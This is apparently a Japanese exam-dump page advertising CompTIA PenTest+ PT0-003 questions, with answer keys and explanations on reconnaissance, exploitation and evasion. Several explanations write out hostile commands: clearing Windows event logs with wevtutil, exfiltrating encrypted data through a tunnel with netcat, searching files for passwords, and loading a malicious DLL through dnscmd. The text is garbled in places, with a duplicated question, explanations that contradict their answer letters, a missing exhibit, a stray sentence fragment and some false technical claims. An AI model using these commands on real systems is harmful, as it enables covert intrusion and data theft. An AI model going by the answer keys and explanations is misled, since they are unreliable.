あなたを余裕でPT0-003試験合格させます！100%試験高合格率保証 [2026]
PT0-003問題集本日限定！無料アクセスが可能に！fromJPNTest
質問 # 128
A penetration tester is conducting reconnaissance on a target network. The tester runs the following Nmap command: nmap -sv -sT -p - 192.168.1.0/24. Which of the following describes the most likely purpose of this scan?
- A. OS fingerprinting
- B. Attack path mapping
- C. Service discovery
- D. User enumeration
正解：C
解説：
The Nmap command nmap -sv -sT -p- 192.168.1.0/24 is designed to discover services on a network. Here is a breakdown of the command and its purpose:
* Command Breakdown:
* nmap: The network scanning tool.
* -sV: Enables service version detection. This option tells Nmap to determine the version of the services running on open ports.
* -sT: Performs a TCP connect scan. This is a more reliable method of scanning as it completes the TCP handshake but can be easily detected by firewalls and intrusion detection systems.
* -p-: Scans all 65535 ports. This ensures a comprehensive scan of all possible TCP ports.
* 192.168.1.0/24: Specifies the target network range (subnet) to be scanned.
* Purpose of the Scan:
* Service Discovery : The primary purpose of this scan is to discover which services are running on the network's hosts and determine their versions. This information is crucial for identifying potential vulnerabilities and understanding the network's exposure.
* References:
* Service discovery is a common task in penetration testing to map out the network services and versions, as seen in various Hack The Box (HTB) write-ups where comprehensive service enumeration is performed before further actions.
Conclusion: The nmap -sv -sT -p- 192.168.1.0/24 command is most likely used for service discovery, as it aims to identify all running services and their versions on the target subnet.
質問 # 129
You are a penetration tester running port scans on a server.
INSTRUCTIONS
Part 1: Given the output, construct the command that was used to generate this output from the available options.
Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
正解：
解説：
See explanation below.
Explanation:
Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns
Part 2 - Weak SMB file permissions
https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lvl1sec13
/fingerprinting-os-and-services-running-on-a-target-host
質問 # 130
Which of the following types of information would most likely be included in an application security assessment report addressed to developers? (Select two).
- A. Use of deprecated Javadoc tags
- B. Non-compliance with code style guide
- C. Null pointer dereferences
- D. Use of non-optimized sort functions
- E. Poor input sanitization
- F. A cyclomatic complexity score of 3
正解：C、E
解説：
An application security assessment report aimed at developers typically includes information critical to understanding and improving the security and stability of the application. Poor input sanitization and null pointer dereferences are two such issues that are directly related to application security and can lead to significant vulnerabilities such as injection attacks or crashes. Poor input sanitization exposes the application to various forms of injection attacks, where an attacker could supply malicious input to gain unauthorized access or disrupt application services. Null pointer dereferences, on the other hand, can lead to application crashes or unexpected behavior, which can be exploited to compromise application security or availability.
Highlighting these issues helps developers focus on areas that need immediate attention to enhance the application's security posture.
質問 # 131
A penetration tester ran a ping -A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST likely return a packet of this type?
- A. Windows
- B. Android
- C. Linux
- D. Apple
正解：A
解説：
The ping -A command sends an ICMP echo request with a specified TTL value and displays the response.
The TTL value indicates how many hops the packet can traverse before being discarded. Different OSs have different default TTL values for their packets. Windows uses 128, Apple uses 64, Linux uses 64 or 255, and Android uses 64. Therefore, a packet with a TTL of 128 is most likely from a Windows OS.
Reference: https://www.freecodecamp.org/news/how-to-identify-basic-internet-problems-with-ping/
質問 # 132
A penetration tester plans to conduct reconnaissance during an engagement using readily available resources. Which of the following resources would most likely identify hardware and software being utilized by the client?
- A. Cryptographic flaws
- B. Cached pages
- C. Protocol scanning
- D. Job boards
正解：D
解説：
To conduct reconnaissance and identify hardware and software used by a client, job boards are an effective resource. Companies often list the technologies they use in job postings to attract qualified candidates. These listings can provide valuable insights into the specific hardware and software platforms the client is utilizing.
Reconnaissance:
This is the first phase in penetration testing, involving gathering as much information as possible about the target.
Reconnaissance can be divided into two types: passive and active. Job boards fall under passive reconnaissance, where the tester gathers information without directly interacting with the target systems.
Job Boards:
Job postings often include detailed descriptions of the technologies and tools used within the company.
For example, a job posting for a network administrator might list specific brands of hardware (like Cisco routers) or software (like VMware).
Examples of Job Boards:
Websites like LinkedIn, Indeed, Glassdoor, and company career pages can be used to find relevant job postings.
These postings might mention operating systems (Windows, Linux), development frameworks (Spring, .NET), databases (Oracle, MySQL), and more.
Pentest Reference:
OSINT (Open Source Intelligence): Using publicly available sources to gather information about a target.
Job boards are a key source of OSINT, providing indirect access to the internal technologies of a company.
This information can be used to tailor subsequent phases of the penetration test, such as vulnerability scanning and exploitation, to the specific technologies identified.
By examining job boards, a penetration tester can gain insights into the hardware and software environments of the target, making this a valuable reconnaissance tool.
質問 # 133
During an assessment, a penetration tester obtains a low-privilege shell and then runs the following command:
findstr /SIM /C:"pass" *.txt *.cfg *.xml
Which of the following is the penetration tester trying to enumerate?
- A. Configuration files
- B. Permissions
- C. Virtual hosts
- D. Secrets
正解：D
解説：
By running the command findstr /SIM /C:"pass" *.txt *.cfg *.xml, the penetration tester is trying to enumerate secrets.
Command Analysis:
findstr: A command-line utility in Windows used to search for specific strings in files.
/SIM: Combination of options; /S searches for matching files in the current directory and all subdirectories, /I specifies a case-insensitive search, and /M prints only the filenames with matching content.
/C:"pass": Searches for the literal string "pass".
***.txt .cfg .xml: Specifies the file types to search within.
Objective:
The command is searching for the string "pass" within .txt, .cfg, and .xml files, which is indicative of searching for passwords or other sensitive information (secrets). These file types commonly contain configuration details, credentials, and other sensitive data that might include passwords or secrets.
質問 # 134
A penetration tester is attempting to discover vulnerabilities in a company's web application. Which of the following tools would most likely assist with testing the security of the web application?
- A. Nikto
- B. sqlmap
- C. OpenVAS
- D. Nessus
正解：A
解説：
When testing the security of a web application, specific tools are designed to uncover vulnerabilities and issues. Here's an overview of the tools mentioned and why Nikto is the most suitable for this task:
Nikto:
Purpose: Nikto is a web server scanner that performs comprehensive tests against web servers for multiple items, including potentially dangerous files/programs, outdated versions, and other security issues.
Relevance: It is designed specifically for discovering vulnerabilities in web applications, making it the most appropriate choice for a penetration tester targeting a web application.
Comparison with Other Tools:
OpenVAS: A general-purpose vulnerability scanner that targets a wide range of network services and hosts, not specifically tailored for web applications.
Nessus: Similar to OpenVAS, Nessus is a comprehensive vulnerability scanner but is broader in scope and not focused solely on web applications.
sqlmap: This tool is excellent for SQL injection testing but is limited to database vulnerabilities and doesn't cover the full spectrum of web application security issues.
質問 # 135
When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?
- A. Clarify the statement of work.
- B. Obtain an asset inventory from the client.
- C. Identify all third parties involved.
- D. Interview all stakeholders.
正解：A
解説：
Clarifying the statement of work is one of the most important items to develop fully prior to beginning the penetration testing activities, as it defines the scope, objectives, deliverables, and expectations of the engagement. The statement of work is a formal document that outlines the agreement between the penetration tester and the client and serves as a reference for both parties throughout the engagement. It should include details such as the type, duration, and frequency of testing, the target systems and networks, the authorized methods and tools, the reporting format and schedule, and any legal or ethical considerations.
質問 # 136
A penetration tester is conducting an Nmap scan and wants to scan for ports without establishing a connection. The tester also wants to find version data information for services running on Projects. Which of the following Nmap commands should the tester use?
- A. ..nmap -sU -sV -T4 -F target.company.com
- B. ..nmap -sS -sV -F target.company.com
- C. ..nmap -sT -v -T5 target.company.com
- D. ..nmap -sX -sC target.company.com
正解：B
解説：
The Nmap command that the tester should use to scan for ports without establishing a connection and to find version data information for services running on open ports is nmap -sS -sV -F target.company.com. This command has the following options:
-sS performs a TCP SYN scan, which is a scan technique that sends TCP packets with the SYN flag set to the target ports and analyzes the responses. A TCP SYN scan does not establish a full TCP connection, as it only completes the first step of the three-way handshake. A TCP SYN scan can stealthily scan for open ports without alerting the target system or application.
-sV performs version detection, which is a feature that probes open ports to determine the service and version information of the applications running on them. Version detection can provide useful information for identifying vulnerabilities or exploits that affect specific versions of services or applications.
-F performs a fast scan, which is a scan option that only scans the 100 most common ports according to the nmap-services file. A fast scan can speed up the scan process by avoiding scanning less likely or less interesting ports.
target.company.com specifies the domain name of the target system or network to be scanned.
The other options are not valid Nmap commands that meet the requirements of the question. Option A performs a UDP scan (-sU), which is a scan technique that sends UDP packets to the target ports and analyzes the responses. A UDP scan can scan for open ports that use UDP protocol, such as DNS, SNMP, or DHCP. However, a UDP scan does establish a connection with the target system or application, unlike a TCP SYN scan. Option C performs a TCP connect scan (-sT), which is a scan technique that sends TCP packets with the SYN flag set to the target ports and completes the three-way handshake with an ACK packet if a SYN/ACK packet is received. A TCP connect scan can scan for open ports that use TCP protocol, such as HTTP, FTP, or SSH. However, a TCP connect scan does establish a full TCP connection with the target system or application, unlike a TCP SYN scan. Option D performs an Xmas scan (-sX), which is a scan technique that sends TCP packets with the FIN, PSH, and URG flags set to the target ports and analyzes the responses. An Xmas scan can stealthily scan for open ports without alerting the target system or application, similar to a TCP SYN scan. However, option D does not perform version detection (-sV), which is one of the requirements of the question.
質問 # 137
A company has hired a penetration tester to deploy and set up a rogue access point on the network.
Which of the following is the BEST tool to use to accomplish this goal?
- A. Wifite
- B. Aircrack-ng
- C. Kismet
- D. Wireshark
正解：B
解説：
Reference:
https://null-byte.wonderhowto.com/how-to/hack-wi-fi-stealing-wi-fi-passwords-with-evil-twin-attack-0183880/
https://thecybersecurityman.com/2018/08/11/creating-an-evil-twin-or-fake-access-point-using-aircrack-ng-and-
質問 # 138
A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following payloads are MOST likely to establish a shell successfully?
- A. windows/x64/shell_reverse_tcp
- B. windows/x64/meterpreter/reverse_http
- C. windows/x64/meterpreter/reverse_tcp
- D. windows/x64/meterpreter/reverse_https
- E. windows/x64/powershell_reverse_tcp
正解：B
解説：
These two payloads are most likely to establish a shell successfully because they use HTTP or HTTPS protocols, which are commonly allowed by network devices and can bypass firewall rules or IPS signatures.
The other payloads use TCP protocols, which are more likely to be blocked or detected by network devices.
質問 # 139
A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?
- A. Apply AES-256 to the data and send over a tunnel to TCP port 443.
- B. Apply Base64 to the data and send over a tunnel to TCP port 80.
- C. Apply UTF-8 to the data and send over a tunnel to TCP port 25.
- D. Apply 3DES to the data and send over a tunnel UDP port 53.
正解：A
解説：
AES-256 (Advanced Encryption Standard with a 256-bit key) is a symmetric encryption algorithm widely used for securing data. Sending data over TCP port 443, which is typically used for HTTPS, helps to avoid detection by network monitoring systems as it blends with regular secure web traffic.
Encrypting Data with AES-256:
Use a secure key and initialization vector (IV) to encrypt the data using the AES-256 algorithm.
Example encryption command using OpenSSL:
Step-by-Step Explanationopenssl enc -aes-256-cbc -salt -in plaintext.txt -out encrypted.bin -k secretkey Setting Up a Secure Tunnel:
Use a tool like OpenSSH to create a secure tunnel over TCP port 443.
Example command to set up a tunnel:
ssh -L 443:targetserver:443 user@intermediatehost
Transferring Data Over the Tunnel:
Use a tool like Netcat or SCP to transfer the encrypted data through the tunnel.
Example Netcat command to send data:
cat encrypted.bin | nc targetserver 443
Benefits of Using AES-256 and Port 443:
Security: AES-256 provides strong encryption, making it difficult for attackers to decrypt the data without the key.
Stealth: Sending data over port 443 helps avoid detection by security monitoring systems, as it appears as regular HTTPS traffic.
Real-World Example:
During a penetration test, the tester needs to exfiltrate sensitive data without triggering alerts. By encrypting the data with AES-256 and sending it over a tunnel to TCP port 443, the data exfiltration blends in with normal secure web traffic.
References from Pentesting Literature:
Various penetration testing guides and HTB write-ups emphasize the importance of using strong encryption like AES-256 for secure data transfer.
Techniques for creating secure tunnels and exfiltrating data covertly are often discussed in advanced pentesting resources.
References:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
質問 # 140
A tester needs to begin capturing WLAN credentials for cracking during an on-site engagement. Which of the following is the best command to capture handshakes?
- A. airserv-ng -d <iface>
- B. tcpdump -n -s0 -w <pcapname> -i <iface>
- C. airodump-ng -c 6 --bssid <target_mac> <iface>
- D. aireplay-ng -0 1000 -a <target_mac>
正解：C
解説：
The command airodump-ng -c 6 --bssid <target_mac> <iface> is used to capture WPA/WPA2 4-way handshakes on a specific channel and BSSID. This handshake is necessary for offline password cracking using tools like Hashcat or John the Ripper.
From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 7 - Wireless Attacks):
"Airodump-ng is used to capture handshakes between a client and access point. The attacker can then attempt to crack the captured handshake offline." Reference: Chapter 7, CompTIA PenTest+ PT0-003 Official Study Guide
質問 # 141
During a penetration test, the tester gains full access to the application's source code. The application repository includes thousands of code files. Given that the assessment timeline is very short, which of the following approaches would allow the tester to identify hard-coded credentials most effectively?
- A. Scan the live web application using Nikto
- B. Perform a manual code review of the Git repository
- C. Run TruffleHog against a local clone of the application
- D. Use SCA software to scan the application source code
正解：C
解説：
Given a short assessment timeline and the need to identify hard-coded credentials in a large codebase, using an automated tool designed for this specific purpose is the most effective approach. Here's an explanation of each option:
* Run TruffleHog against a local clone of the application
* Explanation: TruffleHog is a specialized tool that scans for hard-coded secrets such as passwords, API keys, and other sensitive data within the code repositories.
* Effectiveness: It quickly and automatically identifies potential credentials and other sensitive information across thousands of files, making it the most efficient choice under time constraints.
質問 # 142
A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts.
The executive report outlines the following:
The client is concerned about the availability of its consumer-facing production application. Which of the following hosts should the penetration tester select for additional manual testing?
- A. Server 4
- B. Server 3
- C. Server 2
- D. Server 1
正解：B
解説：
Since the client is worried about the availability of their consumer-facing application, the perimeter network web server (Server 3) is the most critical because:
* It is internet-facing, making it a prime target for attackers.
* A compromise could lead to data breaches, downtime, or service disruptions.
* Even though it has fewer vulnerabilities (14 vs. 92 on QA server), its exposure is higher.
* Option A (Development sandbox server) #: Internal and not publicly accessible.
* Option B (Back-office file transfer server) #: Important, but not consumer-facing.
* Option C (Perimeter web server) #: Correct. Publicly accessible and critical to operations.
* Option D (Developer QA server) #: May have more vulnerabilities, but it's less critical.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Prioritizing Vulnerability Testing
質問 # 143
During a penetration test, the tester uses a vulnerability scanner to collect information about any possible vulnerabilities that could be used to compromise the network. The tester receives the results and then executes the following command:
snmpwalk -v 2c -c public 192.168.1.23
Which of the following is the tester trying to do based on the command they used?
- A. Script exploits to gain access to the systems and host.
- B. Use an automation tool to perform the attacks.
- C. Bypass defensive systems to collect more information.
- D. Validate the results and remove false positives.
正解：D
解説：
The command snmpwalk -v 2c -c public 192.168.1.23 is used to query SNMP (Simple Network Management Protocol) data from a device. Here's the purpose in the context provided:
* SNMP Enumeration:
* Function: snmpwalk is used to retrieve a large amount of information from the target device using SNMP.
* Version: -v 2c specifies the SNMP version.
* Community String: -c public specifies the community string, which is essentially a password for SNMP queries.
* Purpose of the Command:
* Validate Results: The tester uses SNMP to gather detailed information about the network devices to confirm the findings of the vulnerability scanner and remove any false positives.
* Detailed Information: SNMP can provide detailed information about device configurations, network interfaces, and other settings that can validate the scanner's results.
* Comparison with Other Options:
* Bypassing Defensive Systems (A): Not directly related to SNMP enumeration.
* Using Automation Tools (B): While SNMPwalk is automated, the primary purpose here is validation.
* Script Exploits (C): SNMPwalk is not used for scripting exploits but for information gathering.
By using snmpwalk, the tester is validating the results from the vulnerability scanner and removing any false positives, ensuring accurate reporting.
質問 # 144
During an assessment, a penetration tester runs the following command:
dnscmd.exe /config /serverlevelplugindll C:\users\necad-TA\Documents\adduser.dll Which of the following is the penetration tester trying to achieve?
- A. Privilege escalation
- B. Command injection
- C. DNS enumeration
- D. A list of available users
正解：A
解説：
The tester is attempting to register a malicious DLL as a server-level plugin to escalate privileges.
Privilege escalation (Option B):
The command uses dnscmd.exe, a legitimate Windows tool for managing DNS servers.
By setting a malicious DLL (adduser.dll) as a server-level plugin, attackers can gain SYSTEM-level privileges.
This technique is a DLL hijacking attack.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Windows Privilege Escalation Techniques" Incorrect options:
Option A (DNS enumeration): The command modifies DNS settings rather than querying them.
Option C (Command injection): The attacker is not injecting arbitrary shell commands.
Option D (List of users): The command does not retrieve user information.et unauthorized access to
質問 # 145
A penetration tester completed OSINT work and needs to identify all subdomains for mydomain.com. Which of the following is the best command for the tester to use?
- A. dig @8.8.8.8 mydomain.com ANY > /path/to/results.txt
- B. crunch 1 2 | xargs -n 1 -I 'X' nslookup X.mydomain.com
- C. nslookup mydomain.com > /path/to/results.txt
- D. cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com
正解：D
解説：
Using dig with a wordlist to identify subdomains is an effective method for subdomain enumeration. The command cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com reads each line from wordlist.txt and performs a DNS lookup for each potential subdomain.
Command Breakdown:
cat wordlist.txt: Reads the contents of wordlist.txt, which contains a list of potential subdomains.
xargs -n 1 -I 'X': Takes each line from wordlist.txt and passes it to dig one at a time.
dig X.mydomain.com: Performs a DNS lookup for each subdomain.
Why This is the Best Choice:
Efficiency: xargs efficiently processes each line from the wordlist and passes it to dig for DNS resolution.
Automation: Automates the enumeration of subdomains, making it a practical choice for large lists.
Benefits:
Automates the process of subdomain enumeration using a wordlist.
Efficiently handles a large number of subdomains.
References from Pentesting Literature:
Subdomain enumeration is a critical part of the reconnaissance phase in penetration testing. Tools like dig and techniques involving wordlists are commonly discussed in penetration testing guides.
HTB write-ups often detail the use of similar commands for efficient subdomain enumeration.
Step-by-Step ExplanationReferences:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
質問 # 146
During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence. Which of the following is the best way for the penetration tester to hide the activities performed?
- A. Reduce the log retention settings.
- B. Alter the log permissions.
- C. Modify the system time.
- D. Clear the Windows event logs.
正解：D
解説：
During a penetration test, one of the critical steps for maintaining access and covering tracks is to clear evidence of the attack. Manipulating data to hide activities on an internal server involves ensuring that logs and traces of the attack are removed. Here's a detailed explanation of why clearing the Windows event logs is the best method for this scenario:
* Understanding Windows Event Logs: Windows event logs are a key forensic artifact that records system, security, and application events. These logs can provide detailed information about user activities, system changes, and potential security incidents.
* Why Clear Windows Event Logs:
* Comprehensive Coverage: Clearing the event logs removes all recorded events, including login attempts, application errors, and security alerts. This makes it difficult for an investigator to trace back the actions performed by the attacker.
* Avoiding Detection: Penetration testers clear event logs to ensure that their presence and activities are not detected by system administrators or security monitoring tools.
* Method to Clear Event Logs:
* Use the built-in Windows command line utility wevtutil to clear logs. For example:
shell
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
* These commands clear the System, Security, and Application logs, respectively.
* Alternative Options and Their Drawbacks:
* Modify the System Time: Changing the system time can create confusion but is easily detectable and can be reverted. It does not erase existing log entries.
* Alter Log Permissions: Changing permissions might prevent new entries but does not remove existing ones and can alert administrators to suspicious activity.
* Reduce Log Retention Settings: This can limit future logs but does not affect already recorded logs and can be easily noticed by administrators.
* Case References:
* HTB Writeups: Many Hack The Box (HTB) writeups demonstrate the importance of clearing logs post-exploitation to maintain stealth. For example, in the "Gobox" and "Writeup" machines, maintaining a low profile involved managing log data to avoid detection.
* Real-World Scenarios: In real-world penetration tests, attackers often clear logs to avoid detection by forensic investigators and incident response teams. This step is crucial during red team engagements and advanced persistent threat (APT) simulations.
In conclusion, clearing Windows event logs is a well-established practice for hiding activities during a penetration test. It is the most effective way to remove evidence of the attack from the system, thereby maintaining stealth and ensuring that the tester's actions remain undetected.
質問 # 147
A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?
- A. Apply AES-256 to the data and send over a tunnel to TCP port 443.
- B. Apply Base64 to the data and send over a tunnel to TCP port 80.
- C. Apply UTF-8 to the data and send over a tunnel to TCP port 25.
- D. Apply 3DES to the data and send over a tunnel UDP port 53.
正解：A
解説：
AES-256 (Advanced Encryption Standard with a 256-bit key) is a symmetric encryption algorithm widely used for securing data. Sending data over TCP port 443, which is typically used for HTTPS, helps to avoid detection by network monitoring systems as it blends with regular secure web traffic.
質問 # 148
A penetration tester downloads a JAR file that is used in an organization's production environment. The tester evaluates the contents of the JAR file to identify potentially vulnerable components that can be targeted for exploit. Which of the following describes the tester's activities?
- A. SCA
- B. SAST
- C. SBOM
- D. ICS
正解：A
解説：
The tester's activity involves analyzing the contents of a JAR file to identify potentially vulnerable components. This process is known as Software Composition Analysis (SCA).
Definition: SCA involves analyzing software to identify third-party and open-source components, checking for known vulnerabilities, and ensuring license compliance.
Purpose: To detect and manage risks associated with third-party software components.
質問 # 149
A penetration tester must identify vulnerabilities within an ICS (Industrial Control System) that is not connected to the internet or enterprise network. Which of the following should the tester utilize to conduct the testing?
- A. Channel scanning
- B. Source code analysis
- C. Stealth scans
- D. Manual assessment
正解：D
解説：
Since the ICS is air-gapped (not connected to external networks), the best approach is manual assessment, which involves on-site testing, physical access, and reviewing configurations to identify vulnerabilities.
* Option A (Channel scanning) #: This is used for wireless networks, not for isolated ICS systems.
* Option B (Stealth scans) #: A stealth scan is a method to avoid detection while scanning, but it still requires network connectivity.
* Option C (Source code analysis) #: If the ICS is a proprietary system, source code might not be available. Also, vulnerabilities could exist outside the code, such as misconfigurations.
* Option D (Manual assessment) #: Correct. The ICS is offline, so a manual review of system settings, firmware, and configurations is the best approach.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - ICS & SCADA Testing
質問 # 150
......
学習材料は有効なPT0-003効率的問題集：https://www.jpntest.com/shiken/PT0-003-mondaishu
最新CompTIA PenTest+ PT0-003実際の無料試験解答：https://drive.google.com/open?id=1bdHEG4a0LOvYLCOToLOb42piSHCjkOmH